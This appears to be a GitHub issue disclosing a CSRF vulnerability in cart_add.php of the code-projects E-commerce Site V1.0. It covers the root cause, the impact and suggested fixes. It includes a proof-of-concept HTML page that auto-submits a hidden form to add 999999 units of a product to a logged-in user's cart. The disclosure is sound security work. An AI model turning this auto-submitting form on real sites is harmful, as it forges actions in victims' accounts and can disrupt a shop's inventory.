Skip to content

code-projects E-commerce Site Project V1.0/cart_add.php CSRF Attack #3

@BalanceLee

Description

@BalanceLee

code-projects E-commerce Site Project V1.0/cart_add.php CSRF Attack

NAME OF AFFECTED PRODUCT(S)

  • E-commerce Site

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • balancelee

Vulnerable File

  • /cart_add.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • CSRF

Root Cause

    1. No CSRF token validation in sensitive POST interface
    1. Simply checks $_SESSION['user'] without verifying intent
    1. Any third-party site can POST requests to the vulnerable endpoint

Impact

  • Attackers can exploit this vulnerability to perform unauthorized operations, such as adding items to the user's shopping cart, manipulating the order quantity, and even controlling the user's order placement.

DESCRIPTION

  • This vulnerability exists in the '/cart_add.php' file of the e-commerce system. An attacker can craft a malicious webpage and trick authenticated users into visiting it. Without proper CSRF token validation, the backend cannot distinguish whether a request is legitimate or forged. As a result, attackers can perform unauthorized actions such as adding items to a user's cart, manipulating order quantities, launching inventory denial-of-service attacks, and even controlling the user's order placement.

Vulnerability details and POC

Vulnerability Name:

  • Cross-Site Request Forgery (CSRF)

POC Example:

---
<!-- csrf_balancelee.html -->
<!DOCTYPE html>
<html>
  <body onload="document.forms[0].submit();">
    <form action="http://localhost/ecommerce/cart_add.php" method="POST">
      <input type="hidden" name="id" value="2">  <!-- Products ID -->
      <input type="hidden" name="quantity" value="999999"> <!-- Malicious quantity -->
    </form>
  </body>
</html>
---

The following is the vulnerability exploitation process and the screenshot of the result:

Image Image

Suggested repair

  1. Use CSRF token validation:
    All sensitive user actions must include CSRF token validation.The following example code can be added:
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
  1. Restrict Referer/Origin:
    Reject requests without valid Referer or Origin headers.

  2. Submit parameter validity verification:
    Validate all inputs like product ID and quantity.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions